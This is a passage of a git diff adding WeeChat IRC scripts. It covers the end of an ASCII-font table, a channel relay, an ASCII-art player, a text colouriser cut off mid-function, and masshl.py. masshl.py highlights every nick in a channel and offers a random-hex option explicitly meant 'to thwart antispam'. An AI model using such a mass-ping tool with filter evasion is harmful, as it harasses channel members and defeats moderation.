+"$c3     ",
+"$c3     ",
+"$c3     ",
+"$c3 $c1.$c2##$c3 ",
+"$c3     ",
+"$c3     ",
+"$c3 $c1.$c2##$c3 ",
+"$c3     ",
+"$c3     ",
+],
+';' => [
+"$c3     ",
+"$c3     ",
+"$c3     ",
+"$c3 $c1.$c2##$c3 ",
+"$c3     ",
+"$c3     ",
+"$c3 $c1.$c2##$c3 ",
+"$c3  $c1.$c2#$c3 ",
+"$c3     ",
+],
+'\'' => [
+"$c3    ",
+"$c3 $c1.$c2##",
+"$c1.$c2##$c3 ",
+"$c3    ",
+"$c3    ",
+"$c3    ",
+"$c3    ",
+"$c3    ",
+"$c3    ",
+],
+'"' => [
+"$c3       ",
+"$c1.$c2##$c3 $c1.$c2##$c3",
+"$c1.$c2##$c3 $c1.$c2##$c3",
+"$c3       ",
+"$c3       ",
+"$c3       ",
+"$c3       ",
+"$c3       ",
+"$c3       ",
+],
+'<' => [
+"$c3       ",
+"$c3       ",
+"$c3    $c1.$c2##$c3",
+"$c3  $c1.$c2##$c3  ",
+"$c1.$c2##$c3    ",
+"$c3  $c1.$c2##$c3  ",
+"$c3    $c1.$c2##$c3",
+"$c3       ",
+"$c3       ",
+],
+'>' => [
+"$c3       ",
+"$c3       ",
+"$c1.$c2##$c3    ",
+"$c3  $c1.$c2##$c3  ",
+"$c3    $c1.$c2##$c3",
+"$c3  $c1.$c2##$c3  ",
+"$c1.$c2##$c3    ",
+"$c3       ",
+"$c3       ",
+],
+'?' => [
+"$c3         ",
+"$c3  $c1.$c2#####$c3 ",
+"$c3 $c1.$c2##$c3  $c1.$c2##",
+"$c3     $c1.$c2##$c3 ",
+"$c3    $c1.$c2##$c3  ",
+"$c3   $c1.$c2##$c3   ",
+"$c3         ",
+"$c3 $c1.$c2##$c3     ",
+"$c3         ",
+],
+"\," => [
+"$c3   ",
+"$c3   ",
+"$c3   ",
+"$c3   ",
+"$c3   ",
+"$c3   ",
+"$c3   ",
+"$c1.$c2##$c3",
+"$c3 $c1.$c2#$c3",
+],
+"\." => [
+"$c3   ",
+"$c3   ",
+"$c3   ",
+"$c3   ",
+"$c3   ",
+"$c3   ",
+"$c3   ",
+"$c1.$c2##",
+"$c3   ",
+],
+"\/" => [
+"$c3         ",
+"$c3      $c1.$c2##$c3",
+"$c3     $c1.$c2##$c3 ",
+"$c3    $c1.$c2##$c3  ",
+"$c3   $c1.$c2##$c3   ",
+"$c3  $c1.$c2##$c3    ",
+"$c3 $c1.$c2##$c3     ",
+"$c1.$c2##$c3      ",
+"$c3         ",
+],
+);
+}
diff --git a/weechat-scripts/masshl.py b/weechat-scripts/masshl.py
new file mode 100644
index 0000000..cec121b
--- /dev/null
+++ b/weechat-scripts/masshl.py
@@ -0,0 +1,106 @@
+# Released into the Public Domain
+
+import random
+#from threading import Thread
+#from time import sleep
+import weechat
+
+SCRIPT_NAME    = "masshl"
+SCRIPT_AUTHOR  = "The Krusty Krab <wowaname@volatile.ch>"
+SCRIPT_VERSION = "1.0"
+SCRIPT_LICENSE = "Public domain"
+SCRIPT_DESC    = "Provides nicklist hooks."
+
+if weechat.register(SCRIPT_NAME, SCRIPT_AUTHOR, SCRIPT_VERSION,
+	SCRIPT_LICENSE, SCRIPT_DESC, "", ""):
+	weechat.hook_command("masshl",
+		SCRIPT_DESC,
+		"[-do <delay>] text (broken, currently no-op)",
+		"-d  Specify a delay at the beginning (e.g. -d 1 for\n"
+		"    one second) to insert a delay between messages.\n"
+		"    %n - replace with next nick\n"
+		"    %N - replace with as many nicks as possible per line\n"
+		"    %r - replace with random hex value to thwart antispam\n"
+		"-o  Include your own nick in output",
+		"-od", "masshl_cmd_cb", "")
+
+class Loop():
+	def __init__(self, buffer, nicks, input, input_method, N_param, delay, opts):
+		self.buffer = buffer
+		self.nicks = nicks
+		self.input = input
+		self.input_method = input_method
+		self.N_param = N_param
+		self.delay = delay
+		self.opts = opts
+
+	def run(self):
+		i = -('o' not in self.opts)
+		if i == -1: self.nicks.pop(0)
+		N_nicks = ""
+		output = self.input
+		for nick in self.nicks:
+			i += 1
+			if self.N_param:
+				N_nicks += " %s" % nick
+				if (nick != self.nicks[-1] and
+				 len(output) + len(N_nicks) + len(self.nicks[i]) < 300):
+					continue
+			else: output = self.input.replace("%n",nick)
+			N_nicks = N_nicks.lstrip()
+			output = output.replace("%N",N_nicks)
+			output = output.replace("%r","%08x" % random.randint(0,0xffffffff))
+			if self.input_method == "keybinding":
+				weechat.buffer_set(self.buffer, "input", output)
+			else:
+				weechat.command(self.buffer, output)
+#			sleep(self.delay)
+			output = self.input
+			N_nicks = ""
+
+def masshl_cmd_cb(data, buffer, args):
+	input = args
+
+	input_method = "command"
+	server = weechat.buffer_get_string(buffer, 'localvar_server')
+	channel = weechat.buffer_get_string(buffer, 'localvar_channel')
+
+	if not input or (input[0] == '-' and input.find(' ') == -1):
+		input = (input + ' ' if input else '') + weechat.buffer_get_string(buffer, "input")
+		input_method = "keybinding"
+
+	N_param = "%N" in input
+	if not N_param and "%n" not in input and "%r" not in input:
+		# if we bind this to Enter key, we don't want useless flooding on
+		# normal messages
+		return weechat.WEECHAT_RC_OK
+
+	optstop = input and input[0] == '-' and input.find(' ')
+	opts = input[1:optstop] if optstop else ''
+	cmdstop = 'd' in opts and input.find(' ', optstop+1)
+	delay = 0
+	if 'd' in opts:
+		find = input[optstop+1:cmdstop]
+		where = input.find(find, cmdstop+1)
+		try: delay = float(find)
+		except ValueError:
+			weechat.prnt(buffer, "delay must be a float value!")
+			return weechat.WEECHAT_RC_ERROR
+		input = input[where+len(find):]
+	else: input = input[optstop+bool(optstop):]
+
+	nicklist = weechat.infolist_get("irc_nick", "", "%s,%s" % (server,channel))
+
+	# dealing with the cursor can get a little tricky. let's use a dict
+	# instead, that way we can manipulate just what we need and we can
+	# do that with builtins
+	nicks = []
+	while weechat.infolist_next(nicklist):
+		nicks.append(weechat.infolist_string(nicklist, "name"))
+
+	weechat.infolist_free(nicklist)
+
+	workhorse = Loop(buffer, nicks, input, input_method, N_param, delay, opts)
+	workhorse.run()
+
+	return weechat.WEECHAT_RC_OK
diff --git a/weechat-scripts/parrot.pl b/weechat-scripts/parrot.pl
new file mode 100644
index 0000000..5c05585
--- /dev/null
+++ b/weechat-scripts/parrot.pl
@@ -0,0 +1,380 @@
+use strict;
+use warnings;
+
+no strict 'subs';
+
+my $SCRIPT_NAME = 'parrot';
+my $SCRIPT_AUTHOR = 'The Krusty Krab <wowaname@volatile.ch>';
+my $SCRIPT_VERSION = '1.0';
+my $SCRIPT_LICENCE = 'Public domain';
+my $SCRIPT_DESC = 'Relay channel messages and modes';
+
+# %cbs{server}{hook_name} = $hook_ptr:
+#     stores hook pointers to unhook() on exit
+# %chans{server}{channel} = @groups:
+#     stores groups associated with a channel
+# %groups{groupname}{server}{channel} = $flags:
+#     stores channels associated with a group, as well as the channel's flags
+# $READ, $STAT, $MODE:
+#     flags for -read, -stat, -mode switches
+our (%cbs, %chans, %groups);
+our ($READ, $STAT, $MODE) = (0x1, 0x2, 0x4);
+our $confpath;
+
+sub servchan
+{
+	my $buffer = shift;
+	return (lc weechat::buffer_get_string($buffer, 'localvar_server'),
+		lc weechat::buffer_get_string($buffer, 'localvar_channel'));
+}
+
+sub ircbuf { weechat::buffer_search('irc', "(?i)".(join '.', @_)) }
+
+sub getgroup
+{
+	my ($server, $channel) = @_;
+	my @ret;
+
+	for my $group (@{ $chans{$server}{$channel} }) {
+	for my $to_serv (keys %{ $groups{$group} }) {
+	for my $to_chan (keys %{ $groups{$group}{$to_serv} }) {
+		# don't send to myself
+		next if $to_serv eq $server and $to_chan eq $channel;
+		push @ret, [$to_serv, $to_chan, $groups{$group}{$to_serv}{$to_chan}, $group]
+	} } }
+
+	return @ret;
+}
+
+sub sendto
+{
+	my ($server, $command) = @_;
+	weechat::hook_signal_send('irc_input_send',
+		weechat::WEECHAT_HOOK_SIGNAL_STRING,
+		"$server;;1;;$command");
+}
+
+sub add_relay
+{
+	my ($groupname, $server, $channel, $flags) = @_;
+	return if exists $cbs{$server};
+	push @{ $chans{$server}{$channel} }, $groupname;
+	$groups{$groupname}{$server}{$channel} = $flags;
+	$cbs{$server}{PRIVMSG} =
+		weechat::hook_signal("$server,irc_raw_in_privmsg", 'irc_privmsg_notice', '');
+	$cbs{$server}{NOTICE} =
+		weechat::hook_signal("$server,irc_raw_in_notice", 'irc_privmsg_notice', '');
+	$cbs{$server}{OUT_PRIVMSG} =
+		weechat::hook_signal("$server,irc_out1_privmsg", 'ircout_privmsg_notice', '');
+	$cbs{$server}{OUT_NOTICE} =
+		weechat::hook_signal("$server,irc_out1_notice", 'ircout_privmsg_notice', '');
+	if ($flags & $STAT) {
+		$cbs{$server}{JOIN} =
+			weechat::hook_signal("$server,irc_raw_in_join", 'irc_join', '');
+		$cbs{$server}{PART} =
+			weechat::hook_signal("$server,irc_raw_in_part", 'irc_part', '');
+		$cbs{$server}{KICK} =
+			weechat::hook_signal("$server,irc_raw_in_kick", 'irc_kick', '');
+		$cbs{$server}{NICK} =
+			weechat::hook_signal("$server,irc_raw_in_nick", 'irc_nick', '');
+		$cbs{$server}{QUIT} =
+			weechat::hook_signal("$server,irc_raw_in_quit", 'irc_quit', '');
+	}
+	if ($flags & $MODE) {
+#		$cbs{$server}{MODE} =
+#			weechat::hook_signal("$server,irc_raw_in_mode", 'irc_mode', '');
+		$cbs{$server}{TOPIC} =
+			weechat::hook_signal("$server,irc_raw_in_topic", 'irc_topic', '');
+	}
+}
+
+sub read_conf
+{
+	open FH, '<', $confpath or weechat::print('', weechat::prefix('error').
+		"Error opening $confpath for reading: $!"), return;
+	while (<FH>) {
+		chomp;
+		add_relay(split ' ');
+	}
+	close FH;
+}
+
+sub write_conf
+{
+	open FH, '>', $confpath or weechat::print('', weechat::prefix('error').
+		"Error opening $confpath for writing: $!"), return;
+	for my $server (keys %chans) {
+	for my $channel (keys %{ $chans{$server} }) {
+	for my $group (@{ $chans{$server}{$channel} }) {
+		my $flags = $groups{$group}{$server}{$channel};
+		print FH "$group $server $channel $flags\n";
+	} } }
+	close FH;
+}
+
+sub irc_privmsg_notice
+{
+	my (undef, $server, $cmd, $nick, $channel, $message) = (shift,
+		shift =~ /(.+),irc_raw_in_(privmsg|notice)/i,
+		shift =~ /:([^! ]*)[^ ]* [^ ]+ ([^ ]+) :?(.*)/i);
+	($server, $channel) = (lc $server, lc $channel);
+	return weechat::WEECHAT_RC_OK unless exists $chans{$server}{$channel};
+
+	for (getgroup($server, $channel)) {
+		my ($to_serv, $to_chan, $flags, undef) = @$_;
+		next if $flags & $READ;
+		next unless ircbuf("$to_serv.$to_chan");
+		if ($message =~ /^\x01ACTION /i) {
+			$message =~ s/^\x01ACTION |\x01$//g;
+			sendto($to_serv, "/msg $to_chan * \x02$nick\x0f $message");
+			next;
+		}
+		my $prefix = lc $cmd eq 'notice' ? "[\x02$nick\x0f]" : "<\x02$nick\x0f>";
+		sendto($to_serv, "/msg $to_chan $prefix $message");
+	}
+
+	return weechat::WEECHAT_RC_OK;
+}
+
+sub ircout_privmsg_notice
+{
+	my (undef, $server, $cmd, $channel, $message) = (shift,
+		shift =~ /(.*),irc_out1_(privmsg|notice)/i,
+		shift =~ /[^ ]+ ([^ ]+) :?(.*)/i);
+	($server, $channel) = (lc $server, lc $channel);
+	return weechat::WEECHAT_RC_OK unless exists $chans{$server}{$channel};
+
+	for (getgroup($server, $channel)) {
+		my ($to_serv, $to_chan, $flags, undef) = @$_;
+		next if $flags & $READ;
+		next unless ircbuf("$to_serv.$to_chan");
+		my $prefix = lc $cmd eq 'notice' ? 'notice' : 'msg';
+		if ($message =~ /^\x01ACTION /i) {
+			$message =~ s/^\x01ACTION |\x01$//g;
+			sendto($to_serv, "/$prefix $to_chan \x01ACTION $message\x01");
+			next;
+		}
+		sendto($to_serv, "/$prefix $to_chan $message");
+	}
+
+	return weechat::WEECHAT_RC_OK;
+}
+
+sub irc_join
+{
+	my (undef, $server, $nick, $host, $channel) = (shift,
+		shift =~ /(.+),irc_raw_in_join/i,
+		shift =~ /:([^! ]*)([^ ]*) join :?([^ ]+)/i);
+	($server, $channel) = (lc $server, lc $channel);
+	return weechat::WEECHAT_RC_OK unless exists $chans{$server}{$channel};
+
+	for (getgroup($server, $channel)) {
+		my ($to_serv, $to_chan, $flags, undef) = @$_;
+		next unless $flags & $STAT;
+		next if $flags & $READ;
+		next unless ircbuf("$to_serv.$to_chan");
+		sendto($to_serv, "/notice $to_chan \x02$nick\x0f$host joined $server/$channel\x0f");
+	}
+
+	return weechat::WEECHAT_RC_OK;
+}
+
+sub irc_part
+{
+	my (undef, $server, $nick, $channel, $message) = (shift,
+		shift =~ /(.+),irc_raw_in_part/i,
+		shift =~ /:([^! ]*)[^ ]* part ([^ ]+) ?:?(.*)/i);
+	($server, $channel) = (lc $server, lc $channel);
+	return weechat::WEECHAT_RC_OK unless exists $chans{$server}{$channel};
+
+	for (getgroup($server, $channel)) {
+		my ($to_serv, $to_chan, $flags, undef) = @$_;
+		next unless $flags & $STAT;
+		next if $flags & $READ;
+		next unless ircbuf("$to_serv.$to_chan");
+		sendto($to_serv, "/notice $to_chan \x02$nick\x0f left $server/$channel\x0f: $message");
+	}
+
+	return weechat::WEECHAT_RC_OK;
+}
+
+sub irc_kick
+{
+	my (undef, $server, $nick, $channel, $target, $message) = (shift,
+		shift =~ /(.+),irc_raw_in_kick/i,
+		shift =~ /:([^! ]*)[^ ]* kick ([^ ]+) ([^ ]+) :?(.*)/i);
+	($server, $channel) = (lc $server, lc $channel);
+	return weechat::WEECHAT_RC_OK unless exists $chans{$server}{$channel};
+
+	for (getgroup($server, $channel)) {
+		my ($to_serv, $to_chan, $flags, undef) = @$_;
+		next unless $flags & $STAT;
+		next if $flags & $READ;
+		next unless ircbuf("$to_serv.$to_chan");
+		sendto($to_serv, "/notice $to_chan \x02$nick\x0f kicked $target\x0f from $server/$channel\x0f: $message");
+	}
+
+	return weechat::WEECHAT_RC_OK;
+}
+
+sub irc_nick
+{
+	my (undef, $server, $nick, $newnick) = (shift,
+		shift =~ /(.+),irc_raw_in_nick/i,
+		shift =~ /:([^! ]*)[^ ]* nick :?(.*)/i);
+
+	for my $channel (keys %{ $chans{$server} }) {
+	my $iptr = weechat::infolist_get('irc_nick', '', "$server,$channel,$nick");
+	next unless $iptr;
+	weechat::infolist_free($iptr);
+	for (getgroup($server, $channel)) {
+		my ($to_serv, $to_chan, $flags, undef) = @$_;
+		next unless $flags & $STAT;
+		next if $flags & $READ;
+		next unless ircbuf("$to_serv.$to_chan");
+		sendto($to_serv, "/notice $to_chan \x02$nick\x0f is now \x02$newnick\x0f");
+	} }
+
+	return weechat::WEECHAT_RC_OK;
+}
+
+sub irc_quit
+{
+	my (undef, $server, $nick, $message) = (shift,
+		shift =~ /(.+),irc_raw_in_quit/i,
+		shift =~ /:([^! ]*)[^ ]* quit :?(.*)/i);
+
+	for my $channel (keys %{ $chans{$server} }) {
+	my $iptr = weechat::infolist_get('irc_nick', '', "$server,$channel,$nick");
+	next unless $iptr;
+	weechat::infolist_free($iptr);
+	for (getgroup($server, $channel)) {
+		my ($to_serv, $to_chan, $flags, undef) = @$_;
+		next unless $flags & $STAT;
+		next if $flags & $READ;
+		next unless ircbuf("$to_serv.$to_chan");
+		sendto($to_serv, "/notice $to_chan \x02$nick\x0f left $server: $message");
+	} }
+
+	return weechat::WEECHAT_RC_OK;
+}
+
+sub irc_mode
+{
+	my (undef, $server, $nick, $channel, $modes) = (shift,
+		shift =~ /(.+),irc_raw_in_mode/i,
+		shift =~ /:([^! ]*)[^ ]* mode ([^ ]+) (.*)/i);
+	($server, $channel) = (lc $server, lc $channel);
+	return weechat::WEECHAT_RC_OK unless exists $chans{$server}{$channel};
+
+	return weechat::WEECHAT_RC_OK;
+}
+
+sub irc_topic
+{
+	my (undef, $server, $nick, $channel, $message) = (shift,
+		shift =~ /(.+),irc_raw_in_topic/i,
+		shift =~ /:([^! ]*)[^ ]* topic ([^ ]+) :?([^ ]+)/i);
+	($server, $channel) = (lc $server, lc $channel);
+	weechat::print('',"$server $channel");
+	return weechat::WEECHAT_RC_OK unless exists $chans{$server}{$channel};
+	return weechat::WEECHAT_RC_OK if lc $nick eq lc weechat::info_get('irc_nick', $server);
+
+	for (getgroup($server, $channel)) {
+		my ($to_serv, $to_chan, $flags, undef) = @$_;
+		next unless $flags & $MODE;
+		next if $flags & $READ;
+		next unless ircbuf("$to_serv.$to_chan");
+		sendto($to_serv, "/topic $to_chan $message");
+	}
+
+	return weechat::WEECHAT_RC_OK;
+}
+
+sub cmd_parrot
+{
+	my (undef, $buffer, $command) = @_;
+	my ($server, $channel) = servchan($buffer);
+	my ($flags, $remove, $groupname) =
+	   (     0,       0,         '');
+	for (split / +/, $command) {
+		/^-read$/   and ($flags |= $READ), next;
+		/^-stat$/   and ($flags |= $STAT), next;
+		/^-mode$/   and ($flags |= $MODE), next;
+		/^-remove$/ and ($remove = 1), next;
+		$groupname = $_; last;
+	}
+
+	unless ($groupname) {
+		if ($chans{$server}{$channel}) {
+			for (getgroup($server, $channel)) {
+				my ($to_serv, $to_chan, $flags, $group) = @$_;
+				my $flag_str = $flags ? ':' : '';
+				$flag_str .= ' readonly' if $flags & $READ;
+				$flag_str .= ' statusmsg' if $flags & $STAT;
+				$flag_str .= ' sendmodes' if $flags & $MODE;
+				weechat::print($buffer, weechat::prefix('server').
+					"Relaying to $to_serv/$to_chan in group $group$flag_str");
+			}
+		} else {
+			weechat::print($buffer, weechat::prefix('server').
+				"This channel is not being relayed");
+		}
+		return weechat::WEECHAT_RC_OK;
+	}
+
+	# clear hooks first (if they exist)
+	if (exists $cbs{$server}) {
+		weechat::unhook($cbs{$server}{$_}) for (keys %{ $cbs{$server} });
+		delete $cbs{$server};
+	}
+	@{ $chans{$server}{$channel} } =
+		grep { $_ ne $groupname } @{ $chans{$server}{$channel} };
+
+	if ($remove) {
+		delete $groups{$groupname}{$server}{$channel};
+		delete $groups{$groupname}{$server} unless $groups{$groupname}{$server};
+		delete $groups{$groupname} unless $groups{$groupname};
+		delete $chans{$server}{$channel} unless $chans{$server}{$channel};
+		delete $chans{$server} unless $chans{$server};
+
+		write_conf();
+		weechat::print($buffer, weechat::prefix('server').
+			"Removed relay from group $groupname");
+		return weechat::WEECHAT_RC_OK;
+	}
+
+	add_relay($groupname, $server, $channel, $flags);
+
+	write_conf();
+	weechat::print($buffer, weechat::prefix('server').
+		"Added relay to group $groupname");
+	return weechat::WEECHAT_RC_OK;
+}
+
+sub completion_groupnames
+{
+	my $completion = pop;
+	weechat::hook_completion_list_add($completion, $_, 0,
+		weechat::WEECHAT_LIST_POS_SORT) for keys %groups;
+}
+
+if (weechat::register($SCRIPT_NAME, $SCRIPT_AUTHOR, $SCRIPT_VERSION,
+ $SCRIPT_LICENCE, $SCRIPT_DESC, '', '')) {
+	$confpath = weechat::info_get('weechat_dir', '') . '/parrot.db';
+	weechat::hook_completion('perl_parrot_groupname', 'parrot.pl group names',
+		'completion_groupnames', '');
+	weechat::hook_command('parrot', $SCRIPT_DESC,
+		"[-read] [-stat] [-mode] groupname\n".
+		"-remove",
+		"-read: relay from this channel to others, but do not relay to\n".
+		"       this channel\n".
+		"-stat: show status messages (join/part) in this channel\n".
+		"-mode: transfer modes to this channel, even if you are op".
+		"groupname: all channels with the same group name are relayed together\n".
+		"-remove: remove this channel from the relay group",
+		'-remove %(perl_parrot_groupname) %-'.
+		'||-read|-stat|-mode|%(perl_parrot_groupname)|%*',
+		'cmd_parrot', '');
+	read_conf();
+}
diff --git a/weechat-scripts/play.pl b/weechat-scripts/play.pl
new file mode 100644
index 0000000..1c5840e
--- /dev/null
+++ b/weechat-scripts/play.pl
@@ -0,0 +1,156 @@
+use strict;
+use warnings;
+use File::Find::Rule;
+no strict 'subs';
+
+my $SCRIPT_NAME = 'play';
+my $SCRIPT_AUTHOR = 'The Krusty Krab <wowaname@volatile.ch>';
+my $SCRIPT_VERSION = '1.2';
+my $SCRIPT_LICENCE = 'Public domain';
+my $SCRIPT_DESC = 'Play ASCII art';
+our (%queue, %timer);
+
+if (weechat::register($SCRIPT_NAME, $SCRIPT_AUTHOR, $SCRIPT_VERSION,
+ $SCRIPT_LICENCE, $SCRIPT_DESC, '', '')) {
+	weechat::hook_command('play', 'Play ASCII art',
+		'[-delay ms] [-repeat times] [-pipe "command"] [-fmt "list"] filename'.
+		"\n-find pattern\n-stop\n",
+		"-delay: delay in milliseconds between lines\n".
+		"-find: list matching files, don't play\n".
+		"-pipe: pipe output into command\n".
+		"-fmt: treat file as a format string and replace with arguments in\n".
+		"    list. Arguments are separated by semicolons (;)\n".
+		"filename: file to play. Supports wildcards. By default, searches\n".
+		"    subdirectories as well unless '/' is found in the filename\n".
+		"-stop: stop currently playing file in buffer",
+		'-delay|-pipe|-fmt|-repeat|%*'.
+		' || -find'.
+		' || -stop',
+		'cmd_play', '');
+
+	my %OPTIONS = (
+		delay => ['Default delay between lines, in milliseconds', 0],
+		dir => ['Art directory',
+			weechat::info_get('weechat_dir', '').'/ascii'],
+		find_limit => ['Maximum number of results returned by -find. '.
+			'-1 = unlimited (may lock up WeeChat with many results!)', 32],
+		);
+
+	for my $option (keys %OPTIONS) {
+		weechat::config_set_plugin($option, $OPTIONS{$option}[1])
+		 unless weechat::config_is_set_plugin($option);
+		weechat::config_set_desc_plugin($option, $OPTIONS{$option}[0]);
+	}
+}
+
+sub parse
+{
+	my ($input, $delay, $pipe, $find, $repeat, $fmt) =
+		(shift, weechat::config_get_plugin('delay'), '/msg *', 0, 1, '');
+
+	if ($input =~ / *-delay +([0-9]+) /) {
+		$delay = $1;
+		$input =~ s/-delay +[0-9]+//;
+	}
+	if ($input =~ / *-find /) {
+		$find = 1;
+		$input =~ s/-find//;
+	}
+	if ($input =~ / *-fmt +("(?:[^"\\]|\\.)+"|[^ ]+) /) {
+		$fmt = $1;
+		$fmt =~ s/^"(.+)"$/$1/ if $fmt =~ /^".+"$/;
+		$input =~ s/-fmt +("(?:[^"\\]|\\.)+"|[^ ]+)//;
+	}
+	if ($input =~ / *-repeat +([0-9]+) /) {
+		$repeat = $1;
+		$input =~ s/-repeat +[0-9]+//;
+	}
+	if ($input =~ / *-pipe +("(?:[^"\\]|\\.)+"|[^ ]+) /) {
+		$pipe = $1;
+		$pipe =~ s/^"(.+)"$/$1/ if $pipe =~ /^".+"$/;
+		$input =~ s/-pipe +("(?:[^"\\]|\\.)+"|[^ ]+)//;
+	}
+
+	return ($delay, $pipe, $find, $repeat, $fmt, $input =~ s/^ +| +$//r);
+}
+
+sub play
+{
+	my $buffer = shift;
+
+	weechat::command($buffer, shift @{ $queue{$buffer} });
+	delete $queue{$buffer} unless @{ $queue{$buffer} };
+
+	return weechat::WEECHAT_RC_OK;
+}
+
+sub cmd_play
+{
+	my $buffer = $_[1];
+
+	if ($_[2] eq '-stop') {
+		if (exists $timer{$buffer}) {
+			weechat::unhook($timer{$buffer});
+			delete $queue{$buffer};
+		}
+		return weechat::WEECHAT_RC_OK;
+	}
+
+	my ($delay, $pipe, $find, $repeat, $fmt, $file) = parse($_[2]);
+	my $server = weechat::info_get($buffer, 'localvar_server');
+	my ($prio_s, $prio_d) = (
+		weechat::config_get("irc.server.$server.anti_flood_prio_high"),
+		weechat::config_get("irc.server_default.anti_flood_prio_high"),
+		);
+	$delay = ($delay or 1000 * (
+		weechat::config_option_is_null($prio_s)
+		? weechat::config_integer($prio_d)
+		: weechat::config_integer($prio_s)
+		) or 10);
+
+	my $rule = File::Find::Rule
+		->file
+		->name($file)
+		->start(weechat::config_get_plugin('dir'));
+
+	if ($find) {
+		my $i = weechat::config_get_plugin('find_limit');
+		weechat::print($buffer, " \t$_")
+			while defined( $_ = $rule->match ) and --$i;
+		weechat::print($buffer, weechat::prefix('error').
+			"Too many results; please narrow your search") unless $i;
+		weechat::print($buffer, " \tEnd of file listing for '$file'");
+		return weechat::WEECHAT_RC_OK;
+	}
+
+	my $path;
+	if ($file =~ m"/") { $path = weechat::config_get_plugin('dir')."/$file" }
+	else { $path = $rule->match }
+
+	if ($path and -z $path) {
+		weechat::print($buffer, weechat::prefix('error').
+			"File '$file' is empty");
+	} elsif ($path and open FH, "<", $path) {
+		my @lines;
+		while (<FH>) {
+			no warnings; # sprintf barks if there's nothing to replace
+			$_ = sprintf $_, split ';', $fmt if $fmt;
+			push @lines, s/[\r\n]*$//r
+		}
+		close FH;
+		for (1 .. $repeat) {
+			push @{ $queue{$buffer} }, "$pipe \x0f$_\x0f" for @lines;
+		}
+
+		weechat::unhook($timer{$buffer}) if exists $timer{$buffer};
+		$timer{$buffer} =
+			weechat::hook_timer($delay, 0, scalar @{ $queue{$buffer} },
+			'play', $buffer);
+	} else {
+		weechat::print($buffer, weechat::prefix('error').
+			"Cannot open '$file'".($! ? ": $!" : ""));
+		return weechat::WEECHAT_RC_ERROR;
+	}
+
+	return weechat::WEECHAT_RC_OK;
+}
diff --git a/weechat-scripts/prismx.py b/weechat-scripts/prismx.py
new file mode 100644
index 0000000..799205f
--- /dev/null
+++ b/weechat-scripts/prismx.py
@@ -0,0 +1,138 @@
+# Copyright (c) 2010 Alex Barrett <al.barrett@gmail.com>
+#
+# Everyone is permitted to copy and distribute verbatim or modified
+# copies of this license document, and changing it is allowed as long
+# as the name is changed.
+#
+# DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
+# TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
+#
+# 0. You just DO WHAT THE FUCK YOU WANT TO.
+
+import weechat as w
+import random
+import re
+
+SCRIPT_NAME	= "prismx"
+SCRIPT_AUTHOR  = "Alex Barrett <al.barrett@gmail.com>"
+SCRIPT_VERSION = "0.3.1"
+SCRIPT_LICENSE = "WTFPL"
+SCRIPT_DESC	= "Taste the rainbow."
+
+# red, lightred, brown, yellow, green, lightgreen, cyan,
+# lightcyan, blue, lightblue, magenta, lightmagenta
+ncolors = [5, 4, 7, 8, 3, 9, 10, 11, 2, 12, 6, 13]
+xcolors = [
+16,28,40,52,64,65,53,41,29,17,18,30,42,54,66,67,55,43,31,19,20,32,44,
+56,68,69,57,45,33,21,22,34,46,58,70,71,59,47,35,23,24,36,48,60,72,73,
+61,49,37,25,26,38,50,62,74,75,63,51,39,27]
+xxcolors = range(100)
+
+# we set this later
+color_count = 0
+
+# keeping a global index means the coloring will pick up where it left off
+color_index = 0
+
+# spaces don't need to be colored and commas cannot be because mIRC is dumb
+chars_neutral = " ,"
+chars_control = "\x01-\x1f\x7f-\x9f"
+
+regex_chars = "[^%(n)s%(s)s][%(n)s%(s)s]*" % { 'n': chars_neutral, 's': chars_control }
+regex_words = "[^%(n)s]+[%(n)s%(s)s]*" % { 'n': chars_neutral, 's': chars_control }
+
+
+if w.register(SCRIPT_NAME, SCRIPT_AUTHOR, SCRIPT_VERSION,
+			  SCRIPT_LICENSE, SCRIPT_DESC, "", ""):
+	w.hook_command("prism",
+		SCRIPT_DESC,
+		"[-rwmbexsp] [palette] text|-c[wbexsp] [palette] <sep> <command> <sep>text",
+		"    -r: randomizes the order of the color sequence\n"
+		"    -w: color entire words instead of individual characters\n"
+		"    -m: append /me to beginning of output\n"
+		"    -b: backwards text (entire string is reversed)\n"
+		"    -e: eye-destroying colors (randomized background colors)\n"
+		"    -c: specify a separator to turn on colorization\n"
+		"        eg. -c : /topic :howdy howdy howdy\n"
+		"    -x: extended color set, requires 256color terminal\n"
+		"    -s: stretch to fit text\n"
+		"    -p: specify color palette to use, comma separated\n"
+		"  text: text to be colored",
+		"-r|-w|-m|-b|-e|-c", "prism_cmd_cb", "")
+
+def prism_cmd_cb(data, buffer, args):
+	global color_index
+	color_local = color_index
+	color_index += 1
+
+	input = args.decode("UTF-8")
+	input_method = "command"
+
+	if not input or (input[0] == '-' and input.find(' ') == -1):
+		input = (input + ' ' if input else '') + w.buffer_get_string(buffer, "input")
+		input = input.decode("UTF-8")
+		input_method = "keybinding"
+
+	if not input:
+		return w.WEECHAT_RC_OK
+
+	optstop = input and input[0] == '-' and input.find(' ')
+	opts = input[1:optstop] if optstop else ''
+	cmdstop = 'c' in opts and input.find(' ', optstop+1)
+	cmd = ''
+	if 'm' in opts: cmd = '/me '
+	if 'c' in opts:
+		find = input[optstop+1:cmdstop]
+		where = input.find(find, cmdstop+1)
+		cmd = input[cmdstop+1:where]
+		input = input[where+len(find):]
+	else:
+		input = input[optstop+bool(optstop):]
+	regex = regex_words if 'w' in opts else regex_chars
+	inc = 'r' not in opts
+	bs = 'e' in opts
+	colors = ncolors if 'x' not in opts else (xxcolors if bs or not inc else xcolors)
+	if 'p' in opts:
+		i = input.find(' ')
+		colors = input[:i].split(',')
+		input = input[i+1:]
+	input = input[::-1] if 'b' in opts else input
+	output = u""
+	tokens = re.findall(regex, input)
+
+	if 's' in opts:
+		color_local = 0
+		colors = [colors[int(float(i)/len(tokens)*len(colors))]
+		 for i in xrange(len(tokens))]
+
+	color_count = len(colors)
+	for token in tokens:
+		# prefix each token with a color code
+		c1 = unicode(colors[color_local % color_count]).rjust(2, "0")
+		if bs:
+			c2 = random.randint(1, color_count - 1) % color_count
+			c2 = unicode(colors[c2 + 1 if c2 == color_local % color_count else c2]).rjust(2,"0")
+			output += u'\x03' + c1 + ',' + c2 + token
+		else:
+			output += u"\x03" + c1 + token
+
+		# select the next color or another color at
+		# random depending on the options specified
+		if not inc:
+			color_local += random.randint(1, color_count - 1)
+		else:
+			color_local += inc
+	output += u'\x0f'
+
+	# output starting with a / will be executed as a
+	# command unless we escape it with a preceding /
+	# Commands should use the -c flag
+	if len(output) > 0 and output[0] == "/":
+		output = "/" + output
